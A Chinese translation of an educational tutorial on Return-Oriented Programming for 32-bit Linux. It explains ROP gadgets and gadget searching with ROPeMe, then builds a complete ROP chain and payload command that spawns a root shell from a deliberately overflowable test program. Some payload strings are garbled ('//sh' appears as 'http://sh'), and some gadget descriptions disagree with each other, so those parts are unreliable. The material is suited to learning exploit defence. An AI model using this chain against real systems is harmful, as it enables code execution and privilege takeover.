Return-Oriented-Programming(ROP FTW)
Author: Saif El-Sherei? From www.elsherei.com?
譯者:RealSys
0x00譯者約定
?? 1- ()內容為譯者補充說明。
?? 2-譯者礙于自身水平所限,翻譯產生的缺漏或者不當處,歡迎建議與指正。
? ?3-原文地址:https://drive.google.com/file/d/0B3U0fxyeeTTdaGdQWGFvUFg5czQ/view
0x01 先導語
? ? 我決定在Linux開發上進行一些學習,就像我朋友說的一樣:“當你認為掌握某項技能時,可以開始嘗試去教授別人。(用以檢驗自己)”,因此我覺得把它用文字的方式記錄下是一件非常不錯的事情。這是我第一次嘗試寫文檔。這篇文檔是我對于ROP的理解。我的理解可能并不是很完善,因此我期待來自讀者的建議以及修正。我希望這篇文檔能夠幫助你,就像它幫助我一樣。這篇文檔僅僅用于教育方面。
? ? 請注意,這篇文檔中提到的內存地址很有可能與你的系統的情況是不一樣的。
0x02 什么是Return Oriented Programming?
? ? 在我們上一篇文檔中,我們探究了ret2libc(Return-to-Libc)。其中一個防御ret2libc的手段就是將函數從C庫中移除(例如編譯C庫時,并不把System函數編譯進去)。ROP并沒有這樣的弱點,事實上,我們并不需要通過調用函數的方式去構造ROP攻擊。ROP被用于對抗W^X,也就是堆棧保護,嗯。。。就是不允許在棧中執行代碼(常規的棧溢出手段就是將需要執行的Shellcode溢出到棧或者堆的空間里,再通過修改棧中某一字節數據控制EIP寄存器,實現跳轉執行Shellcode)。
? ? ROP的概念雖然簡單但是非常的狡猾。區別于ret2libc,我們將利用任意一個當前程序鏈接的二進制代碼或者動態鏈接庫的一小段指令片段(匯編指令),我們將之稱之為小工具(gadget)。
? ? Gadget分為有意的工具和無意兩種情況。有意的Gadget指的是所利用的指令片段是開發者有意識這么構成的;對于無意的Gadget,你可以推測這個指令片段的產生并非開發者的本意。
? ? 什么!!!怎么會產生無意識構成的指令片段?很好,我們來看一個句子“the article”,這個作者想表達的是”the article”,但是他并沒有想要包含“heart”這個單詞,但是他確實做到了。
? ? 基本上,我們需要做的就是用這樣的ROP Gadget的首地址代替C庫中函數的首地址(ret2libc即通過將EIP寄存器指向某個C庫函數,達到跳轉執行代碼的手段<跳過了剛剛提到的堆棧保護,執行的代碼并不在堆棧內,而在代碼段內>)。
0x03 什么是ROP Gadgets?
? ? ROP Gadget是一段以匯編指令”ret”(二進制對應的是”c3”)結尾的一小段指令片段。組合這些Gadget,將允許我們實現某些行為,并且在最后形成我們的攻擊,我們將在下面的文檔中見到它們。
? ? ROP Gadget不得不以指令“ret”作為結尾,用以保證能夠執行多段的指令片段,因此我們將之稱之為面向返回(Return Oriented)。
0x04 應該怎樣尋找這些Gadget呢?
? ? 以下是一個用于尋找Gadget的算法:
? ? 1-在二進制中尋找所有內容是“c3”的字節
? ? 2-如果前面的字節是有意義指令,我們就往前去逐個查看。將最大數量能構成有效指令片段的字節反轉。*
? ? 3-接著將從二進制和動態鏈接庫中找到的這些指令片段保存下來。
? ? 以上就是尋找Gadget的理論。有很多種工具能夠幫助我們找到Gadget,我們將在之后演示這些工具。
0x05 我們可以用ROP Gadget做什么?
? ? 有很多事情我們可以通過Gadget完成。最基本的,我們可以執行任意我們找到的正確的指令片段(以“ret”結尾)。我們將簡要的說明在這些指令片段中有用的Gadget。
? ? 0x0501載入一個常數到寄存器
? ? ? ? 載入一個常數到寄存器即保存一個值到棧中,在之后通過POP指令應用它。
? ? ? ? POP eax; ret;
? ? ? ? 這段代碼將從棧種pop(彈出)一個值到eax寄存器中,接著返回棧頂保存的地址(ret其實等于pop eip; add esp, 4;)。
? ? ? ? 樣例:
(棧的第一個字節是Gadget的首地址<即需要控制EIP寄存器指向的地址>,第二個則是需要保存到eax寄存器中的值,第三個則是下一個Gadget的首地址,為什么這樣構造棧能夠達到效果,請讀者自己思考)
? ? ? ? 當返回地址被Gadget的地址覆蓋后,程序將返回到Gadget的指令片段,接著將deadbeef彈出到eax中,然后通過“ret”將返回到下一個Gadget.
? ? 0x0502從內存地址中載入值
? ? ? ? 樣例指令片段mov ecx, [eax]; ret;,允許我們從內存地址中載入值。
? ? ? ? 將位于eax保存的地址中的值移動到ecx中。
? ? 0x0503存儲值到內存地址中
? ? ? ? 將寄存器的值存儲到內存某個位置中。
? ? ? ? mov [eax], ecx; ret;
? ? ? ? 將ecx中的值存儲到eax內保存的內存地址中。
? ? 0x0504算術操作
? ? ? ? 包括加,減,乘,或,與的算術方法。并且將幫助我們分配執行一個有用的Gadget,就像你將要看到的。
? ? ? ? add eax, 0x0b; ret;即eax = eax + 0x0b
? ? ? ? xor edx, edx; ret;即edx = 0
? ? 0x0505系統調用(Syscall)
? ? ? ? “ret”跟著一個Syscall的指令,將允許我們執行一個內核中斷(Kernel Interrupt)。Syscall的Gadget如下:
? ? ? ? - int 0x80; ret;
? ? ? ? - call gs:[0x10]; ret;
? ? 0x0506避免使用的Gadget
? ? ? ? 一些最好避免使用的Gadget。
? ? ? ? - Gadget基本上以leave; ret;結尾,這樣的Gadget會pop ebp(改變棧底),這將會搞亂的我們的棧幀。
? ? ? ? -以pop ebp; ret;結尾的Gadget,也將會搞亂的我們的棧幀。
? ? ? ? 一些時候這些Gadget總體上并不會影響到我們的ROP shellcode的執行。這取決于我們的執行流和改變棧底指針是否會打斷ROP shellcode的執行。
0x06 利用簡單的緩沖區溢出構造ROP
0x0601體系:
? ? 我們將要利用的程序。
#include <stdio.h>
int main(int argc, char *argv[]) {
????char buf[256];
????memcpy(buf, argv[1], strlen(argv[1]));
????printf(buf);
}
? ? 我們將使用“fno-stack-protector-boundary”編譯它,關閉ASLR并且測試它是否可以正常工作。
# echo 0 > /proc/sys/kernel/randomize_va_space
# gcc -mpreferred-stack-boundary=2 so3.c -o rop2
so3.c: In function ‘main’:
so3.c:6:2: warning: incompatible implicit declaration of built-in function ‘memcpy’ *enabled by default+so3.c:6:22: warning: incompatible implicit declaration of built-in function ‘strlen’ *enabled by default+
# ./rop2 `python -c 'print "A"*260'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF???
# gdb -q rop2
Reading symbols from /root/Desktop/tuts/so/rop2...(no debugging symbols found)...done.
(gdb) r `python -c 'print "A"*260+"B"*4'`
Starting program: /root/Desktop/tuts/so/rop2 `python -c 'print "A"*260+"B"*4'`
Program received signal SIGSEGV, Segmentation fault.0x42424242 in ?? ()
(gdb)
? ? 如同你在上面看到的,我們成功地在第260字節的位置覆蓋了保存的返回地址。
0x0602工具:
? ? 我們將會用到VNSecurity的一個叫作ROPeme來幫助我們在C庫中尋找ROP Gadget。可以在以下鏈接中找到這個工具和關于使用它的演示:http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/。
0x0603上:
? ? 首先我們先看看這個二進制鏈接了哪些動態鏈接庫。
? ? 有兩種方法可以做到這件事。我們可以使用gdb在main中設置斷點,運行它,然后使用”info files”的指令去查看它鏈接哪些動態鏈接庫,如下。
(gdb) b *main
Breakpoint 1 at 0x804847c
(gdb) r aaaa
The program being debugged has been started already.Start it from the beginning? (y or n) y
Starting program: /root/Desktop/tuts/so/rop2 aaaa
Breakpoint 1, 0x0804847c in main ()
(gdb) info files
Symbols from "/root/Desktop/tuts/so/rop2".
Unix child process:
????????Using the running image of child process 28344.
????????While running this, GDB does not access memory from...
Local exec file:
????????`/root/Desktop/tuts/so/rop2', file type elf32-i386.Entry point: 0x8048390
????????0x08048134 - 0x08048147 is .interp
????????---snipped
????????0x08049704 - 0x08049708 is .bss
? ? ? ? 0xb7fe2114 - 0xb7fe2138 is .note.gnu.build-id in /lib/ld-linux.so.2
????????---snipped---
????????0xb7fc29a0 - 0xb7fc5978 is .bss in /lib/i386-linux-gnu/i686/cmov/libc.so.6
? ? 以上粗體高亮的文件就是二進制文件”rop2”鏈接的動態鏈接庫。
? ? 第二種方法是通過“/proc/pid/maps”;我們運行程序直到觸發了main中的斷點,通過這個終端我們獲取到了這個二進制程序的pid(進程號),接著獲取進程的映射圖,如下。
(gdb) shell
root@kali:~/Desktop/tuts/so# ps -aux | grep rop2
warning: bad ps syntax, perhaps a bogus '-'?
See http://gitorious.org/procps/procps/blobs/master/Documentation/FAQroot 28117 0.0 0.3 13624 7748 pts/2 S+ 15:57 0:00 gdb -q rop2
root 28119 0.0 0.0 1704 252 pts/2 t 15:57 0:00 /root/Desktop/tuts/so/rop2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
root 28341 0.0 0.3 13548 7552 pts/6 S 16:24 0:00 gdb -q rop2
root 28344 0.0 0.0 1700 244 pts/6 t 16:24 0:00 /root/Desktop/tuts/so/rop2 aaaa
root 28392 0.0 0.0 3484 768 pts/6 S+ 16:27 0:00 grep rop2
root@kali:~/Desktop/tuts/so# cat /proc/28119/maps
08048000-08049000 r-xp 00000000 08:01 548883 /root/Desktop/tuts/so/rop2 (deleted)
---snipped---
b7e63000-b7fbf000 r-xp 00000000 08:01 1311258?/lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7fbf000-b7fc0000 ---p 0015c000 08:01 1311258?/lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7fc0000-b7fc2000 r--p 0015c000 08:01 1311258?/lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7fc2000-b7fc3000 rw-p 0015e000 08:01 1311258?/lib/i386-linux-gnu/i686/cmov/libc-2.13.so
---snipped---
b7fff000-b8000000 rw-p 0001c000 08:01 1311294?/lib/i386-linux-gnu/ld-2.13.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
b7fff000-b8000000 rw-p 0001c000 08:01 1311294 /lib/i386-linux-gnu/ld-2.13.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
root@kali:~/Desktop/tuts/so# exit
(gdb)
? ? 我偏愛第二種方法,因為我們將需要用到這里的基地址。用于計算我們找到的Gadget的真實地址,我將會在之后演示這個過程。
? ? 好的,讓我們開始演示吧。
0x0604關于ropeme的簡單介紹
? ? 我們首先使用“ropeme”包中的一個叫作“ropshell.py”的有效腳本。我們運行它,并且查看它的幫助文檔。
root@kali:~/Desktop/tuts/so/ropeme# ./ropshell.py
Simple ROP interactive shell: [generate, load, search] gadgets
ROPeMe> help
Available commands: type help for detail
? ? generate????????Generate ROP gadgets for binary
????load????????????????Load ROP gadgets from file
????search? ? ? ? ? ? Search ROP gadgets
????shell???????????????Run external shell commands
????^D? ? ? ? ? ? ? ? ??Exit
ROPeMe>
? ? 我們接著使用生成方法從二進制或者動態鏈接庫中生成Gadget。我們將用到位于“/lib/i386-linux-gnu/i686/cmov/libc-2.13.so”的“libc-2.13.so”這個文件,已經在上面我們獲取鏈接的動態鏈接庫中提到了。
ROPeMe> generate /lib/i386-linux-gnu/i686/cmov/libc-2.13.so 4
Generating gadgets for /lib/i386-linux-gnu/i686/cmov/libc-2.13.so with backward depth=4
It may take few minutes depends on the depth and file size...
Processing code block 1/2
Processing code block 2/2
Generated 10915 gadgets
Dumping asm gadgets to file: libc-2.13.so.ggt ...
OK
ROPeMe>
? ? 生成命令后面的數字“4”代表查找的深度。上圖表示生成是成功的。
? ? 我們接著搜索我們想要找的Gadget通過search方法。
ROPeMe> search pop ?
Searching for ROP gadget: pop ? with constraints: []0x29d1cL: pop ds ;;
0x29d2fL: pop ds ;;
0x29fd6L: pop ds ;;
---snipped---
0x387cL: pop esp ;;
0x9dad0L: pop esp ;;
--More-- (24/28)
0x10eab9L: pop esp ;;
ROPeMe>
? ? 在第一個演示中,我們搜索任意的pop指令。“?”結尾代表下一條指令必須是”ret”。這方法可以用于搜索多條指令,像“pop ? mov ?”搜索的是“pop r32; mov; ret;”這樣的指令片段(r32泛指32位寄存器)。
ROPeMe> search pop eax %
Searching for ROP gadget: pop eax % with constraints: []
0x189a4L: pop eax ; add [esi] eax ; add [ebx+0x5d5b08c4] al ;;
0x61c42L: pop eax ; mov [ecx+0xb8] edx ; pop ebx ; pop ebp ;;
---snipped---
0xd8f31L: pop eax ;;
0xd8f52L: pop eax ;;
ROPeMe>
? ? 在第二個演示中,我們看到我們指定了寄存器并且搜索以“%”結尾,這意味著后面可以跟著任意精確數量的指令。并且可以“ret“,”leave;ret“,”pop ebp; ret” 這些指令片段結尾。
0x0605利用
? ? 現在我要給你第一條也是最重要的一條忠告,你必須為你想要做的事情做好計劃,列出一二三四,按順序實現這個計劃,就像以下我的計劃一樣。我們假設想要執行“execve(“/bin/sh”,0,0) ”。
? ? 如你所知,linux系統調用參數分別放在ebx,ecx,edx,esi,edi寄存器中。因此,我們想要將字符串首地址載入ebx寄存器,argp數組的指針載入ecx寄存器,envp數組的指針載入edx寄存器。并且將調用這個函數的數字寫入eax寄存器。
? ? 你也必須知道“execv()”的系統調用數字是“11”或者”0xb”。
? ? (Linux系統調用的方式是發起一個內核中斷,這時候內核會從eax寄存器讀出需要調用函數,有一個對應的函數編號,參數則是從上述其他的五個寄存器中讀出)
? ? 我們可以在“/usr/include/i386-linux-gnu/asm/unistd_32.h “找到linux系統調用數字。“unistd_32.h”是x86架構系統調用的頭文件。
root@kali:~/Desktop/tuts/so# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve
#define __NR_execve 11
root@kali:~/Desktop/tuts/so#
? ? 現在我們來制定計劃。
? ? 1-清零eax寄存器
? ? 2-將argp數組指針放置到ecx寄存器
? ? 3-將envp數組指針放置到edx寄存器
? ? 4-將“/bin/sh”字符串的首地址放置到ebx寄存器中
? ? 5-將eax寄存器的值設置為0xb
? ? 6-執行系統調用
? ? 以上就是我的計劃,我們一起來看看我們要怎樣應用ROP Gadget完成它。
? ? 首先,我們搜索xor eax, eax; ret;的指令來實現清零eax寄存器。
ROPeMe> search xor eax eax ?
Searching for ROP gadget: xor eax eax ? with constraints: []
0x7f448L: xor eax eax ; leave ;;
0x10b090L: xor eax eax ; leave ;;
0x796bfL: xor eax eax ; ret ;;
ROPeMe>
? ? 以上加粗的地址就是Gadget在“lib-2.13.c”文件中的偏移地址。因此我們通過將這個偏移與動態鏈接庫的基地址相加獲取真實地址。上面有提到,這個動態鏈接庫的基地址就是“0xb7e63000”。
0x796bf+ 0xb7e63000 = 0xB7EDC6BF
? ? 因此,“xor eax, eax; ret;”Gadget的真實地址就是“0xB7EDC6BF”。
? ? 現在,我們需要保存字符串“/bin/sh”到內存的任意位置,并且將首地址載入ebx寄存器。
? ? 讓我們一步一步來。首先我們先要查找一個內存位置寫入,最好的選擇是.data段。(.data段詳見elf文件格式)
root@kali:~/Desktop/tuts/so# objdump -D rop2 | grep data
Disassembly of section .rodata:
Disassembly of section .data:
080496fc <__data_start>:
? ? .data塊的起始地址是0x080496fc,我們也可以通過“gdb”的“info files”命令去獲取它。
(gdb) info files
Symbols from "/root/Desktop/tuts/so/rop2".Unix child process:
Using the running image of child process 28344.
While running this, GDB does not access memory from...
Local exec file:
????????`/root/Desktop/tuts/so/rop2', file type elf32-i386.
????????Entry point: 0x8048390
????????0x08048134 - 0x08048147 is .interp
????????---snipped---
????????0x080496d8 - 0x080496dc is .got
????????0x080496dc - 0x080496fc is .got.plt
? ??????0x080496fc - 0x08049704 is .data
????????---snipped---
(gdb)
? ? 有一個這樣的問題,我們應該把數據寫到.data塊的基址+4字節還是+8字節的位置呢?0x080496fc+4 =0x08049700。因為在我們的溢出緩沖區中不能出現NULL字符(即0x00在輸入時會引發截斷,導致shellcode不完整),我們只能選擇另外一個地址0x08049704。
? ? 好的,現在我們需要理解將字符串”/bin/sh”放入.data塊的起始地址的方式。
? ? 我們需要將字符串切割為4字節的塊,因此我們將擁有“/bin”和“/sh”兩個塊。但是第二塊僅僅只有3個字節,第4個字節將為NULL,這可能會影響到程序的執行。因此我們將在第二個塊添加一個前斜線,就像“//sh”,這并不會影響到“/bin/sh”命令的執行。
? ? 因此,我們的兩個部分就是”/bin”和”//sh”。如上所言,通過“mov [r32], r32; ret;”指令片段,我們可以載入這兩部分到內存中。但是首先我們需要存儲這些常量到寄存器中,通過“pop r32; ret;”指令。
? ? 我們首先需要搜索mov指令,然后我們就能夠知道我們要使用哪些寄存器的pop指令。
ROPeMe> search mov [ eax %
---snipped---
0x29ecfL: mov [eax] ecx ;;
? ? 我們找到了這個mov的指令片段,并且真實地址為0x29exf+0xb7e63000 = 0xB7E8CECF。
? ? 基于上面的指令片段,我們需要pop第一部分(“/bin”)到ecx寄存器,且將內存地址寫到eax寄存器。因為,前面的Gadget的功能是從ecx寄存器中轉移值到eax寄存器中存儲的地址所指向的內存位置。
? ? 現在,我們需要找一個”pop ecx; ret;”的Gadget,用于將第一部分放入ecx寄存器當中。還需要一個“pop eax; retr;”的Gadget,我們同樣想將地址寫入eax寄存器中。
? ? 讓我們來尋找”pop ecx; ret;”的Gadget。
ROPeMe> search pop ecx %
Searching for ROP gadget: pop ecx % with constraints: []
0x3ca61L: pop ecx ; add ecx 0xa ; mov [edx] ecx ;;
0xd8f30L: pop ecx ; pop eax ;;
0xd8f51L: pop ecx ; pop eax ;;
0xe2c02L: pop ecx ; pop ebx ;;
0x2a6ebL: pop ecx ; pop edx ;;
ROPeMe>
? ? 哇!我們真幸運,我們竟然找到一個執行“pop ecx;”接著執行“pop eax;”然后“ret;”的Gadget,這恰好是我們想要的。讓我們為這個棒棒噠Gadget計算它的真實地址叭。
0xd8f30+0xb7e63000 = 0xB7F3BF30
? ? 接下來,我們需要找到一個將NULL字節(0x00)寫進內存的方法。我們知道在我們的溢出緩沖區內不能夠有NULL。因此,我們不得不將一個寄存器清零,并且使用載入值到內存的Gadget去拷貝這個寄存器的值到內存中。在下面,我能夠找到這個唯一的Gadget。
? ? 因為我已經有了一個“xor eax, eax;? ret;”的Gadget,我只需要搜索“mov [r32], eax; ret;”的Gadget,這就是我找到的。
ROPeMe> search mov % eax
Searching for ROP gadget: mov % eax with constraints: []
0xf0cffL: mov [0x810001e9] eax ;;
0xdc5ffL: mov [0x81000330] eax ;;
0x2a71cL: mov [edx+0x14] ecx ; mov [edx+0xc] ebp ; mov [edx+0x18] eax ;;
0x2a722L: mov [edx+0x18] eax ;;
? ? 這個指令將eax寄存器的值轉移到edx寄存器儲存的地址加上0x18所指向的內存位置。因此,如果你不知道該如何去做,我們只需要簡單的把我們想要的地址減去0x18。不用擔心,當我們開始解析我們的shellcode的結構時,這會更加簡單。
? ? 現在,我們還是先來計算這個Gadget的真實地址吧。
0x2a722+0xb7e63000 = 0xB7E8D722
? ? 現在,我們需要尋找“pop ebx”,“pop ecx”,和“pop edx”的Gadget將我們的參數載入相應的寄存器。
0x78af4L: pop ebx ;; 0x78af4+0xb7e63000 = 0xB7EDBAF4
0x2a6ebL: pop ecx ; pop edx ;; 0x2a6eb+0xb7e63000 = 0xB7E8D6EB
? ? 這個Gadget將要被用于將系統調用的數字放入eax寄存器中,我們需要將0xb放入eax寄存器。如果我們已經將eax寄存器清零了,我們只需要用算術操作的Gadget,將eax寄存器加上0xb,這就是我找到的。
0x7faa8L: add eax 0xb ;; 0x7faa8+0xb7e63000 = 0xB7EE2AA8
? ? 我們并沒有找到最后的Gadget,也就是系統調用“int 0x80”,但是我們找到了另一個內核系統調用gd:[0x10]。
0xa10f5L: call gs:[0x10] ;; 0xa10f5 + 0xb7e63000 = 0xB7F040F5
? ? 到現在為止,我們獲取到了所有我們需要的Gadget,讓我們開始我們的利用吧。我們知道返回地址在260字節之后被覆蓋。讓我們先將我們的Gadget放到一個漂亮的表格中,我們獲取到了七組信息。
? ? 我們將要寫的地址是.data塊中的0x08049704。
? ? 因此我們的ROP鏈應該是這樣的。
pop ecx; pop eax;;ret + “/bin”+ address to write to -> mov [eax],ecx; ret -> xor eax,eax;ret -> pop edx;ret -> address to write too – 18 -> mov [edx+18],eax;ret -> pop ecx;pop edx; ret + address of argp array + address of envp array -> pop ebx;ret + address of string “/bin//sh” -> add eax,0xb;ret -> call gs:[0x10].
? ? 我們的溢出緩沖區應該這么構造。
“A”*260
+ 0xB7F3BF30? ? ? ? ? ? ? ? ? pop ecx ; pop eax; ret
+ “/bin”? ? ? ? ? ? ? ? ? ? ? ? ? ? ? string to be popped into ecx
+ 0x08049704? ? ? ? ? ? ? ? ? ?address to be popped into eax to?write “/bin” to ??
+ 0xB7E8CECF????????????????mov [ecx],eax; ret???????
+ 0xB7F3BF30? ? ? ? ? ? ? ? ?pop ecx ; pop eax; ret
+ “//sh”? ? ? ? ? ? ? ? ? ? ? ? ? ? ??string to be popped into ecx
+ 0x08049708? ? ? ? ? ? ? ? ??address to be popped into eax to write “//sh” to “0x0804971c +4”
+ 0xB7E8CECF? ? ? ? ? ? ? ?mov [ecx],eax; ret
+ 0xB7EDC6BF? ? ? ? ? ? ? ?xor eax,eax; ret
+ 0xB7E64A9E????????????????pop edx;ret
+ 0x080496f4? ? ? ? ? ? ? ? ??address to write NULL bytes to “0x08049708+4-18”
+ 0xB7E8D722? ? ? ? ? ? ? ? mov [edx+0x18] eax ;ret
+ 0xB7E8D6EB? ? ? ? ? ? ? ?pop ecx; pop edx; ret
+ 0x08049712? ? ? ? ? ? ? ? ?address of argp array to be loaded into ecx pointing to NULL bytes.
+ 0x08049712? ? ? ? ? ? ? ? ?address of envp array to be loaded into edx pointing to NULL bytes.
+ 0xB7EDBAF4? ? ? ? ? ? ??pop ebx ; ret
+ 0x08049704? ? ? ? ? ? ? ??pointer of string “/bin//sh”
+ 0xB7EE2AA8? ? ? ? ? ? ? add eax 0xb ;ret
+ 0xB7F040F5? ? ? ? ? ? ? ?call gs:[0x10] ; ret
? ? 現在,讓我們把它們放在一起,并且看看shell中是如何顯示的。不要忘了我們使用的是小端的架構,因此我們將不得不輸入小端格式的地址。
./rop2 `python -c 'print "A"*260+"\x30\xbf\xf3\xb7"+"/bin"+"\x04\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\x30\xbf\xf3\xb7"+"http://sh"+"\x08\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\xbf\xc6\xed\xb7"+"\x9e\x4a\xe6\xb7"+"\xf4\x96\x04\x08"+"\x22\xd7\xe8\xb7"+"\xeb\xd6\xe8\xb7"+"\x12\x97\x04\x08"+"\x12\x97\x04\x08"+"\xf4\xba\xed\xb7"+"\x04\x97\x04\x08"+"\xa8\x2a\xee\xb7"+"\xf5\x40\xf0\xb7"'`
? ? 讓我們來嘗試執行一下。
root@kali:~/Desktop/tuts/so# ./rop2 `python -c 'print "A"*260+"\x30\xbf\xf3\xb7"+"/bin"+"\x04\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\x30\xbf\xf3\xb7"+"http://sh"+"\x08\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\xbf\xc6\xed\xb7"+"\x9e\x4a\xe6\xb7"+"\xf4\x96\x04\x08"+"\x22\xd7\xe8\xb7"+"\xeb\xd6\xe8\xb7"+"\x12\x97\x04\x08"+"\x12\x97\x04\x08"+"\xf4\xba\xed\xb7"+"\x04\x97\x04\x08"+"\xa8\x2a\xee\xb7"+"\xf5\x40\xf0\xb7"'`
# id
uid=0(root) gid=0(root) groups=0(root)
# ls
ROPgadget a.out core g get getenv.c rop rop2 rop3 ropeme ropeme-bhus10 ropeme-bhus10.tar rt rt2 rt2.c s so so.c so2 so2.c so3.c wrpr wrpr.c
#
? ? 我們成功得利用ROP鏈彈出了我們的shell。
0x0606處理額外的指令
? ? 有些時候,我們并搜索不到合適的Gadget,Gadget有時候會附帶額外的指令或者其它什么鬼,讓我們看一個例子。
? ? 例如,如果我們的第一個Gadget“pop ecx; pop eax;;”是“pop ecx; pop eax; pop edi;;”,我們就要額外得輸入4個填充字節到我們的溢出緩沖區,用來pop到edi寄存器,因此我們的ROP鏈的第一個和第二個Gadget將修改為:
`python -c 'print "A"*260+"\x30\xbf\xf3\xb7"+"/bin"+"\x04\x97\x04\x08"+”SAIF”+"\xcf\xce\xe8\xb7"+"\x30\xbf\xf3\xb7"+"http://sh"+"\x08\x97\x04\x08"+”SAIF”+"\xcf\xce\xe8\xb7"+"\xbf\xc6\xed\xb7”....
? ? 代替了:
`python -c 'print "A"*260+"\x30\xbf\xf3\xb7"+"/bin"+"\x04\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\x30\xbf\xf3\xb7"+"http://sh"+"\x08\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\xbf\xc6\xed\xb7”....
????上面粗體的“SALF”是4字節的填充,用來pop到edi寄存器中。在這個情況下,將不會影響到我們ROP鏈,并且它將正常的繼續執行。
? ? 例子中是能夠簡單處理的指令,有時候在這些情況下,你將要面對mov指令或者算術指令,你必須小心謹慎防止ROP鏈的執行流被中斷。
0x07參考
The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86) by Hovav Shacha.?
Payload Already Inside: Payload Already Inside: Data re-use for ROP Exploits Data re-use for ROP Exploits by Long Le “vnsecurity.net”.